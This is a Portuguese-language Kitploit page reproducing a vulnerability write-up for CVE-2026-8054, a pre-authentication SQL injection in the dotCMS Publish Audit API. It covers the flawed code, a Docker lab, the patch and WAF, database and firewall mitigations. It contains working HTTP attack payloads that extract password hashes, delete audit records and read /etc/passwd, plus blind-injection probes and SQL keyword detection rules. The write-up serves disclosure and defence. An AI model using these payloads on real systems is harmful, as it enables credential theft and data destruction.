Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8054 — Injeção de SQL pré-autenticação no dotCMS | Kitploit
Ferramentas/GitHubGitHub/mr-xn/cve-2026-8054
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

Injeção de SQL pré-autenticação no dotCMS

Ver Repositório
2há 3 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

1. Visão Geral da Vulnerabilidade

CVE-2026-8054 é uma vulnerabilidade de injeção SQL pré-autenticação de alto risco (Pre-auth SQL Injection) existente na API de Auditoria de Publicação (Publish Audit API) do dotCMS Core. Esta vulnerabilidade foi rastreada oficialmente como Incidente de Segurança SI-75 e foi divulgada formalmente no final de maio de 2026. Como um atacante pode acioná-la remotamente sem qualquer credencial, seu dano potencial é muito grave.

Baixar ferramenta
AtributoValor
ID CVECVE-2026-8054
Rastreamento OficialSI-75
Tipo de VulnerabilidadeInjeção SQL (CWE-89)
Componente AfetadodotCMS Core - Publish Audit API
Pontuação CVSS10.0 (Critical)
Versões Afetadas25.11.04-1 a 26.04.28-02
Versão Corrigida26.04.28-03
Vetor de AtaqueInjeção SQL remota não autenticada (Pre-auth)
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
Impacto em LTSNão afetado (o ramo de código de auditoria não foi backportado para a árvore LTS)

2. Explicação Detalhada da Vulnerabilidade

2.1 Natureza da Vulnerabilidade

A vulnerabilidade reside nos endpoints REST /api/auditPublishing/get e /api/auditPublishing/getAll. Esses endpoints, ao receberem parâmetros de entrada do cliente, não realizam qualquer filtragem ou vinculação parametrizada, mas constroem dinamicamente consultas SQL por concatenação direta de strings.

Mais criticamente, o dotCMS omitiu completamente a verificação de autenticação e controle de acesso nesses endpoints de back-end sensíveis relacionados à auditoria. Isso significa que qualquer atacante remoto sem credenciais na rede externa, desde que consiga acessar o sistema pela rede, pode enviar requisições HTTP com payloads maliciosos diretamente para os endpoints.

2.2 Ponto de Entrada da Vulnerabilidade

Caminho do arquivo: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

A vulnerabilidade existe em dois endpoints REST:

  • GET /api/auditPublishing/get/{bundleId} - Obtém o status de auditoria de uma única publicação
  • POST /api/auditPublishing/getAll - Obtém o status de auditoria de múltiplas publicações

Problema chave: Antes da correção, esses endpoints não exigiam qualquer autenticação; qualquer usuário anônimo podia acessá-los diretamente.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【Ponto de vulnerabilidade】Nenhuma verificação de autenticação! Chama diretamente a API de back-end
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Código Principal da Vulnerabilidade

Caminho do arquivo: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Método: getPublishAuditStatuses(List<String> bundleIds) (linhas 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【Ponto de vulnerabilidade 1】Concatena diretamente a entrada do usuário na consulta SQL
        // Apenas adiciona aspas simples ao redor, sem qualquer parametrização ou escape
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // Perigoso: concatenação de strings
            .collect(Collectors.toList());

        // 【Ponto de vulnerabilidade 2】Usa String.format para construir SQL, a entrada do usuário é embutida diretamente
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

Constante SQL (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Caminho de Propagação do Dado Contaminado

root@kitploit:~
graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Propagação do dado contaminado: Entrada do usuário → REST API → Processamento back-end → Construção SQL → Execução no banco de dados Falha crítica: Sem autenticação + Sem parametrização = Injeção SQL completamente controlável

2.5 Análise do Princípio da Injeção SQL

Suponha que o usuário insira bundleIds = ["x' OR '1'='1"]

SQL normal:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL após injeção:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Como '1'='1' é sempre verdadeiro, esta consulta retorna todos os registros da tabela.

root@kitploit:~
graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. Análise de Impacto e Dano

Um atacante que explore com sucesso esta vulnerabilidade pode executar comandos SQL arbitrários no contexto do usuário do sistema de banco de dados, resultando nas seguintes consequências graves:

root@kitploit:~
graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Vazamento de Dados Sensíveis

Através da injeção SQL, o atacante pode extrair tabelas principais do banco de dados, obtendo:

  • Hashes de senhas de administradores
  • Informações de credenciais de usuários
  • Tokens de redefinição
  • Informações de configuração do sistema
  • Dados de conteúdo do site

Exemplo de Payload de Ataque - Obter senha do administrador:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Modificação e Destruição de Dados

O atacante pode modificar, inserir ou excluir arbitrariamente dados no banco de dados, incluindo:

  • Conteúdo do site
  • Permissões de papéis de usuários
  • Configurações do sistema
  • Logs de auditoria

Exemplo de Payload de Ataque - Excluir registros de auditoria:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 Elevação de Privilégios e Execução Remota de Código

Dependendo do tipo de banco de dados conectado (PostgreSQL, MySQL, etc.) e das permissões de configuração, o atacante pode, através do ponto de injeção, realizar ainda:

  • Assunção de conta de administrador
  • Leitura/escrita no sistema de arquivos (através de funções do banco de dados)
  • Execução remota de código (RCE)

Exemplo de Payload de Ataque - Leitura de arquivo PostgreSQL:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 Análise da Superfície de Ataque

DimensãoAvaliação
Vetor de AtaqueRede Remota (Network)
Complexidade do AtaqueBaixa (Low)
Pré-condiçõesNenhuma (None)
Interação do UsuárioNenhuma (None)
Escopo de ImpactoAlterado (Changed)
Impacto na ConfidencialidadeAlto (High)
Impacto na IntegridadeAlto (High)
Impacto na DisponibilidadeAlto (High)

4. Passos para Reprodução da Vulnerabilidade

4.1 Configuração do Ambiente

root@kitploit:~
graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

Use Docker Compose para configurar o ambiente vulnerável:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

Comando para iniciar:

root@kitploit:~
docker compose up -d
# Aguarde a inicialização do dotCMS (cerca de 2-3 minutos)
# Verifique o status: docker compose logs -f dotcms

4.2 Validação da Vulnerabilidade

Teste 1: Confirmar que o endpoint não requer autenticação

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

Resposta: 200 OK, retorna array vazio [], provando que o endpoint é acessível sem autenticação.

Teste 2: Injeção SQL - Boolean Blind ✅ Verificado

Princípio do Blind Boolean: Observar a diferença no código de status da resposta HTTP para inferir se a condição de injeção é verdadeira ou falsa.

root@kitploit:~
graph TD
    subgraph 布尔盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|假条件| D["假条件 and 1=2"]

        C -->|返回数据| E["404 Not Found 有数据 NPE"]
        D -->|不返回数据| F["200 OK + 空数组 无数据正常"]

        E -->|分析| G["分析响应"]
        F -->|分析| G

        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
    note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]

Teste de condição verdadeira (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

Resposta: 404 Not Found

Teste de condição falsa (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

Resposta: 200 OK, retorna []

Análise da execução SQL:

root@kitploit:~
-- Condição verdadeira: bundle_id corresponde E 1=1 é verdadeiro -> retorna dados -> código trata NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- Condição falsa: bundle_id corresponde MAS 1=2 é falso -> não retorna dados -> resultado vazio tratado normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

Diferença na resposta:

CondiçãoResultado SQLComportamento do CódigoResposta HTTP
and 1=1 (verdadeiro)Retorna registros correspondentesturnIntoPublishAuditStatus() lança NullPointerException ao processar dados404
and 1=2 (falso)Não retorna registrosLista vazia retornada normalmente200 + []

Conclusão: Através da diferença de resposta 404/200, o atacante pode inferir informações arbitrárias no banco de dados bit a bit (nomes de tabelas, valores de campos, hashes de senhas, etc.).

Teste 3: Injeção SQL - Time Blind ✅ Verificado

Princípio do Time Blind: Observar a diferença no tempo de resposta para inferir se a condição de injeção é verdadeira ou falsa.

root@kitploit:~
graph TD
    subgraph 时间盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
        B -->|传递| C["延时Payload SELECT pg_sleep N"]

        C -->|执行SQL| D["PostgreSQL"]
        D -->|调用| E["pg_sleep N 延时执行"]

        E -->|延时N秒| F["测量响应时间"]
        F -->|对比基线| G["分析延时差异"]
        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]

Teste de atraso de 3 segundos:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

Resposta: 200 OK, tempo de resposta 3,02 segundos

Teste de atraso de 5 segundos:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

Resposta: 200 OK, tempo de resposta 5,01 segundos

Análise da execução SQL:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

Comparação de tempo de resposta:

PayloadAtraso esperadoTempo realResultado
Requisição normal0s0,03s✅
pg_sleep(3)3s3,02s✅ Atraso bem-sucedido
pg_sleep(5)5s5,01s✅ Atraso bem-sucedido

Conclusão: Ao controlar o atraso na resposta, o atacante pode inferir informações do banco de dados bit a bit mesmo em cenários sem retorno visível.


5. Análise da Solução de Correção

5.1 Conteúdo da Correção no PR #35553

root@kitploit:~
graph TD
    subgraph 修复方案
        subgraph 代码修复
            A[参数化查询<br/>使用占位符]
            B[认证增强<br/>Push Publish Token]
            C[输入验证<br/>null/空检查]
        end

        subgraph 修复效果
            D[防止SQL注入]
            E[限制未授权访问]
            F[防止空指针异常]
        end

        G[PR #35553]
        H[修复版本<br/>26.04.28-03]
    end

    G -->|实现| A
    G -->|实现| B
    G -->|实现| C

    A -->|参数绑定| D
    B -->|强制认证| E
    C -->|空值处理| F

    H -->|包含| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]

Correção 1: Consulta Parametrizada

Antes da correção (código vulnerável):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

Após a correção (código seguro):

root@kitploit:~
// Novo: Verificação de valor nulo
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// Usa placeholders de consulta parametrizada
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // Vinculação de parâmetros, previne injeção SQL

Correção 2: Reforço de Autenticação

Antes da correção:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // Sem verificação de autenticação
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

Após a correção:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // Novo: Verificação de autenticação Push Publish Token
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // Retorna 401 Unauthorized
    }
    // ...
}

5.2 Princípio da Correção

Medida de CorreçãoDescrição
Consulta ParametrizadaSubstitui a concatenação de strings por placeholders ?. O banco de dados lida automaticamente com o escape de parâmetros, prevenindo fundamentalmente a injeção SQL
Reforço de AutenticaçãoExige que a requisição carregue um Push Publish Token válido. Restringe o acesso apenas a usuários logados no backend que possuam permissão no componente publishing-queue
Validação de EntradaAdiciona verificação de nulo e lista vazia para prevenir exceções de ponteiro nulo

5.3 Nota sobre Versões Afetadas

  • Versões afetadas: Todas as versões de desenvolvimento ágil/iterações rápidas do dotCMS Core entre 25.11.04-1 e 26.04.28-02
  • Versões não afetadas: LTS (Long Term Support) não é afetado, pois o ramo de código de auditoria afetado nunca foi backportado para a árvore LTS

6. Mitigação Temporária e Recomendações de Proteção

Caso não seja possível atualizar imediatamente para a versão corrigida, as seguintes medidas temporárias podem ser adotadas:

root@kitploit:~
graph TD
    subgraph 防护措施
        subgraph 网络层
            A[Regra WAF bloquear<br/>Impedir /api/auditPublishing/]
            B[Firewall restringir<br/>Permitir apenas acesso interno]
        end

        subgraph 应用层
            C[Regra de proteção Nginx<br/>bloquear location]
            D[Regra ModSecurity<br/>Detecção de injeção SQL]
        end

        subgraph 数据层
            E[Restrição de permissão do banco<br/>Princípio do menor privilégio]
            F[Limitar funções de alto risco<br/>pg_read_file etc.]
        end

        G[Atualizar para 26.04.28-03<br/>Solução fundamental]
    end

    A -.->|Substituto temporário| G
    B -.->|Substituto temporário| G
    C -.->|Substituto temporário| G
    E -.->|Reduzir impacto| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[Prioridade: P0 - Atualizar imediatamente<br/>Outras medidas são soluções temporárias]

6.1 Bloqueio por Regra WAF

Configure políticas de controle de acesso no Web Application Firewall (WAF) ou proxy reverso para bloquear ou rejeitar diretamente requisições externas aos caminhos /api/auditPublishing/get e /api/auditPublishing/getAll.

Exemplo de configuração de regra de proteção Nginx

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# Bloquear requisições para Publish Audit API
location ~ ^/api/auditPublishing/(get|getAll) {
    # Retorna 403 proibido
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# Ou use uma abordagem mais branda, permitindo apenas acesso interno
location ~ ^/api/auditPublishing/(get|getAll) {
    # Permite faixas de IP internas
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # Nega todas as outras origens
    deny all;
}

# Regra WAF para características de injeção SQL
location / {
    # Detecta características comuns de injeção SQL
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # Detecta injeção por aspas simples
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

Exemplo de regra ModSecurity WAF

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# Regra 1: Bloquear acesso aos endpoints vulneráveis
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# Regra 2: Detectar características de injeção SQL
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 Restringir Permissões do Banco de Dados

Garanta que a conta que o dotCMS usa para conectar-se ao banco de dados siga o princípio do menor privilégio:

root@kitploit:~
-- Exemplo de restrição de permissão PostgreSQL
-- Criar usuário restrito
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- Conceder apenas permissões necessárias nas tabelas
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- Proibir criação/exclusão de tabelas
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- Proibir execução de comandos do sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- Proibir leitura de arquivos
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 Proteção na Camada de Rede

root@kitploit:~
# Usar iptables para restringir acesso à porta da API
# Permitir apenas acesso interno à porta 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. Resumo

root@kitploit:~
graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]

7.1 Causa Raiz da Vulnerabilidade

  1. Falta de validação de entrada: A entrada do usuário é concatenada diretamente na consulta SQL, sem qualquer filtragem ou escape
  2. Falta de autenticação: Os endpoints da API são acessíveis sem qualquer autenticação, expondo funcionalidades sensíveis do backend
  3. Falta de parametrização: Uso de concatenação de strings em vez de consultas parametrizadas, violando as melhores práticas de codificação segura

7.2 Avaliação da Superfície de Ataque

  • Vetor de Ataque: Rede Remota (Network)
  • Complexidade do Ataque: Baixa (Low)
  • Pré-condições: Nenhuma (None)
  • Interação do Usuário: Nenhuma (None)
  • Pontuação CVSS: 10.0 (Critical)

7.3 Prioridade das Recomendações de Correção

PrioridadeMedidaDescrição
P0 - ImediataAtualizar para dotCMS 26.04.28-03 ou superiorVersão oficial corrigida, resolve o problema fundamentalmente
P1 - UrgenteConfigurar regras WAF para bloquearMitigação temporária, impede tráfego de ataque
P2 - ImportanteRestringir permissões do banco de dadosReduz o escopo do impacto após a exploração da vulnerabilidade
P3 - RecomendadoAuditoria de segurança em outros endpointsVerificar se existem problemas semelhantes

7.4 Nota sobre Versões LTS

A equipe oficial afirma que LTS (Long Term Support) não é afetado, pois o ramo de código de auditoria afetado nunca foi backportado para a árvore LTS. Usuários de versões LTS não precisam de atualização urgente.


8. Referências

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

Data de geração do relatório: 2026-06-08 Ferramentas de análise: Docker, curl, PostgreSQL Versão vulnerável: dotCMS 25.11.04-1 Versão corrigida: dotCMS 26.04.28-03 (PR #35553)